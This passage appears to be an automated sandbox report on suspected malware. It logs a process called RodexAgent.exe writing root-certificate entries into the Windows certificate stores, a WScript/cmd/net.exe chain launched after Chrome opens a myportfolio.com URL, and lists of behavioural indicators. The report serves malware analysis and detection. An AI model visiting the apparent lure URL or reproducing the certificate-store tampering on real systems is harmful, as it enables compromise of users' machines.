0300000001000000140000009e99a48a9960b14926bb7f3b02e22da2b0ab72801400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf2119183040000000100000010000000c6150925cfea5941ddc7ff2a0a5066920f00000001000000200000008408d5e5010ab8da67eb33a7d79ace944dd0ac103ae6ead3ff30dec571066b0319000000010000001000000014d4b19434670e6dc091d154abb20edc5c000000010000000400000000080000180000000100000010000000fd960962ac6938e0d4b0769aa1a64e26200000000100000079040000308204753082035da003020102020900a70e4a4c3482b77f300d06092a864886f70d01010b05003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3039303930323030303030305a170d3334303632383137333931365a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a381f03081ed300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183301f0603551d23041830168014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7304f06082b0601050507010104433041301c06082b060105050730018610687474703a2f2f6f2e7373322e75732f302106082b060105050730028615687474703a2f2f782e7373322e75732f782e63657230260603551d1f041f301d301ba019a0178615687474703a2f2f732e7373322e75732f722e63726c30110603551d20040a300830060604551d2000300d06092a864886f70d01010b05000382010100231de38a57ca7de917794cf11e55fdcc536e3e470fdfc655f2b20436ed801f53c45d34286bbec755fc67eacb3f7f90b233cd1b58108202f8f82ff51360d405cef18108c1dda775974f18b96ddef7939108ba7e402cedc1eabb769e3306771d0d087f53dd1b64ab8227f169d54d5eaef4a1c375a758442df23c7098acba69b695777f0f315e2cfca0873a4769f0795ff41454a4955e1178126027ce9fc277ff2353775dbaffea59e7dbcfaf9296ef249a35107a9c91c60e7d99f63f19dff57254e115a907597b83bf522e468cb20064761c48d3d879e86e56ccae2c0390d7193899e4ca09195bff0796b0a87f3449df56a9f7b05fed33ed8c47b730035df4038c	RodexAgent.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	RodexAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777f000000010000000c000000300a06082b060105050703037e00000001000000080000000000e4add325dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	RodexAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000000e4add325dc017f000000010000000c000000300a06082b060105050703031d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	RodexAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777f000000010000000c000000300a06082b060105050703037e00000001000000080000000000e4add325dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	RodexAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 5c000000010000000400000000080000190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000000e4add325dc017f000000010000000c000000300a06082b060105050703031d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650040000000100000010000000324a4bbbc863699bbe749ac6dd1d46242000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	RodexAgent.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280	RodexAgent.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	58	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	109	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	117	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	57	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
4672	chrome.exe
4672	chrome.exe
4368	RodexAgent.exe
4368	RodexAgent.exe
4368	RodexAgent.exe
4368	RodexAgent.exe
5588	RodexAgent.exe
5676	RodexAgent.exe
5588	RodexAgent.exe
5588	RodexAgent.exe
5676	RodexAgent.exe
5676	RodexAgent.exe
2808	RodexAgent.exe
2808	RodexAgent.exe
2808	RodexAgent.exe
4672	chrome.exe
4672	chrome.exe
5336	RodexAgent.exe
5336	RodexAgent.exe
5336	RodexAgent.exe
5336	RodexAgent.exe
5336	RodexAgent.exe
5336	RodexAgent.exe
2608	RodexAgent.exe
2608	RodexAgent.exe
2608	RodexAgent.exe
1260	RodexAgent.exe
1260	RodexAgent.exe
1260	RodexAgent.exe
2672	RodexAgent.exe
2672	RodexAgent.exe
2672	RodexAgent.exe
2672	RodexAgent.exe
2672	RodexAgent.exe
2672	RodexAgent.exe
4944	chrome.exe
4944	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5916	notepad.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe
Token: SeShutdownPrivilege	4672	chrome.exe
Token: SeCreatePagefilePrivilege	4672	chrome.exe

Suspicious use of FindShellTrayWindow 58 IoCs

pid	Process
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe
4672	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5916	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4672 wrote to memory of 4688	4672	chrome.exe	84
PID 4672 wrote to memory of 2080	4672	chrome.exe	85
PID 4672 wrote to memory of 5812	4672	chrome.exe	86
PID 4672 wrote to memory of 5812	4672	chrome.exe	86
PID 4672 wrote to memory of 2148	4672	chrome.exe	87
PID 4672 wrote to memory of 2148	4672	chrome.exe	87
PID 4672 wrote to memory of 4240	4672	chrome.exe	88
PID 4672 wrote to memory of 4240	4672	chrome.exe	88
PID 4672 wrote to memory of 1976	4672	chrome.exe	89
PID 4672 wrote to memory of 1976	4672	chrome.exe	89
PID 4672 wrote to memory of 1640	4672	chrome.exe	90
PID 4672 wrote to memory of 1640	4672	chrome.exe	90
PID 4672 wrote to memory of 5328	4672	chrome.exe	93
PID 4672 wrote to memory of 2600	4672	chrome.exe	104
PID 4672 wrote to memory of 2600	4672	chrome.exe	104
PID 4672 wrote to memory of 216	4672	chrome.exe	109
PID 4672 wrote to memory of 216	4672	chrome.exe	109
PID 4672 wrote to memory of 1428	4672	chrome.exe	112
PID 4672 wrote to memory of 1220	4672	chrome.exe	113
PID 4672 wrote to memory of 1708	4672	chrome.exe	114
PID 4672 wrote to memory of 2228	4672	chrome.exe	115
PID 4672 wrote to memory of 5204	4672	chrome.exe	116
PID 5204 wrote to memory of 1368	5204	WScript.exe	117
PID 1368 wrote to memory of 4504	1368	cmd.exe	119
PID 5204 wrote to memory of 4348	5204	WScript.exe	120
PID 4348 wrote to memory of 5100	4348	cmd.exe	122
PID 4348 wrote to memory of 4288	4348	cmd.exe	123
PID 5204 wrote to memory of 6016	5204	WScript.exe	124
PID 6016 wrote to memory of 4768	6016	cmd.exe	126
PID 5204 wrote to memory of 3784	5204	WScript.exe	127
PID 3784 wrote to memory of 4544	3784	cmd.exe	129
PID 5204 wrote to memory of 3856	5204	WScript.exe	130
PID 3856 wrote to memory of 4620	3856	cmd.exe	132
PID 4620 wrote to memory of 5880	4620	net.exe	133
PID 5204 wrote to memory of 6008	5204	WScript.exe	134
PID 6008 wrote to memory of 3448	6008	cmd.exe	136
PID 4672 wrote to memory of 5212	4672	chrome.exe	138
PID 5212 wrote to memory of 4808	5212	WScript.exe	139
PID 4808 wrote to memory of 4132	4808	cmd.exe	141
PID 5212 wrote to memory of 5664	5212	WScript.exe	142
PID 5664 wrote to memory of 5392	5664	cmd.exe	144
PID 5664 wrote to memory of 572	5664	cmd.exe	145
PID 5212 wrote to memory of 3696	5212	WScript.exe	146
PID 3696 wrote to memory of 3968	3696	cmd.exe	148
PID 3968 wrote to memory of 4924	3968	net.exe	149
PID 5212 wrote to memory of 3936	5212	WScript.exe	150
PID 3936 wrote to memory of 392	3936	cmd.exe	152
PID 5204 wrote to memory of 4368	5204	WScript.exe	153
PID 5212 wrote to memory of 5588	5212	WScript.exe	157
PID 4368 wrote to memory of 2480	4368	RodexAgent.exe	159
PID 4368 wrote to memory of 3016	4368	RodexAgent.exe	160
PID 5588 wrote to memory of 5736	5588	RodexAgent.exe	164
PID 5588 wrote to memory of 2796	5588	RodexAgent.exe	165
PID 4672 wrote to memory of 4288	4672	chrome.exe	168
PID 4672 wrote to memory of 4288	4672	chrome.exe	168
PID 4672 wrote to memory of 2240	4672	chrome.exe	169
PID 4672 wrote to memory of 4928	4672	chrome.exe	170
PID 4928 wrote to memory of 604	4928	WScript.exe	171
PID 604 wrote to memory of 5880	604	cmd.exe	173
PID 4928 wrote to memory of 3708	4928	WScript.exe	174
PID 3708 wrote to memory of 2208	3708	cmd.exe	176
PID 3708 wrote to memory of 5672	3708	cmd.exe	177
PID 4928 wrote to memory of 4132	4928	WScript.exe	178
PID 4132 wrote to memory of 1196	4132	cmd.exe	180

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://grupogestiona-t.myportfolio.com
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff917e7c728,0x7ff917e7c734,0x7ff917e7c740
  2⤵
  PID:4688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,4826911610450026446,13398426442472203776,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2168 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2080
